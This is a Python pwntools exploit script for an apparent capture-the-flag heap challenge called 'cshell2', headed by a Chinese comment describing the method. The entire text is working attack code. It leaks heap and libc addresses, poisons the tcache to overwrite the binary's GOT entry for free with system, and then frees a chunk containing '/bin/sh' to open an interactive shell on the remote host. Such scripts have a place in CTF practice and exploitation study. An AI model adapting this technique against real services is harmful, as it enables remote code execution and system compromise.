1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| """第二种方法 将got表中的地址放入tcache bin中,修改got表中free项地址为system """ from pwn import * context.log_level='debug' def add(ind,size,data=[' ',' ',' ',0,' ']): fn=data[0] mn=data[1] ln=data[2] age=data[3] bio=data[4] p.sendlineafter('re-age user','1') p.sendlineafter('index: ',str(ind)) p.sendlineafter('size (1032 minimum): ',str(size)) p.sendafter('firstname: ',fn) p.sendafter('middlename: ',mn) p.sendafter('lastname: ',ln) p.sendlineafter('age: ',str(age)) p.sendafter('bio: ',bio) def show(ind): p.sendlineafter('re-age user','2') p.sendlineafter('index: ',str(ind)) p.readuntil('last: ') ln=p.readuntil(' first: ',drop=1) fn=p.readuntil(' middle: ',drop=1) mn=p.readuntil(' age: ',drop=1) age=int(p.readuntil('\nbio: ',drop=1)) bio=p.readuntil('1 Add',drop=1) return [fn,mn,ln,age,bio]
def free(ind): p.sendlineafter('re-age user','3') p.sendlineafter('index: ',str(ind))
def edit(ind,data): fn=data[0] mn=data[1] ln=data[2] age=data[3] bio=data[4] p.sendlineafter('re-age user','4') p.sendlineafter('index: ',str(ind)) p.sendafter('firstname: ',fn) p.sendafter('middlename: ',mn) p.sendafter('lastname: ',ln) p.sendlineafter('age: ',str(age)) p.sendafter('bio: ',bio)
def change(ind,age): p.sendlineafter('re-age user','5') p.sendlineafter('Index: ',str(ind)) p.sendlineafter('age: ',str(age))
e=ELF('./cshell2',checksec=0) libc=ELF('./libc.so.6',checksec=0) ld=ELF('./ld.so',checksec=0) heap_array=0x4040c0 free_got=e.got['free'] p=remote('be.ax 31667')
add(0,0x418) add(1,0x408) add(2,0x428) add(3,0x418) add(0xa,0x408) add(0xb,0x408,['/bin/sh\x00',' ',' ',0,' '])
free(0) free(2) add(0,0x418) add(2,0x428)
d=show(0) d1=u64(d[1].ljust(8,'\x00')) heap_addr=d1&0xfffffffffffff000
d0=u64(d[0].ljust(8,'\x00')) print(hex(d0)) libc.address=(d0&0xffffffffffffff00)-((libc.sym['_IO_wide_data_0']+0x20+0x60+224)&0xffffffffffffff00) print(hex(libc.address)) system=libc.sym['system'] bin_sh=libc.search('/bin/sh').next() print(hex(heap_addr))
free_f=libc.sym['free'] puts=libc.sym['puts'] fail=libc.sym['__stack_chk_fail'] printf=libc.sym['printf'] read=libc.sym['read'] malloc=libc.sym['malloc'] setvbuf=libc.sym['setvbuf'] scanf=libc.sym['__isoc99_scanf'] free(0xa)
free(1)
heap_array_1=heap_array+0x10 heap_array_1_size=heap_array_1+0x8 print(hex(heap_array_1_size)) free(2) add(4,0x450)
change(2,heap_array_1_size-0x20) free(0) add(5,0x450) heap_0=heap_addr+0x290 heap_1=heap_0+0x420 heap_1_fd=heap_1+0x10
edit(1,[p64((free_got-0x8)^(heap_1_fd>>12)),' ',' ',0,' ']) add(6,0x408) add(7,0x408,[p64(system),p64(system),p64(puts),fail,p64(scanf)]) free(0xb)
p.interactive()
|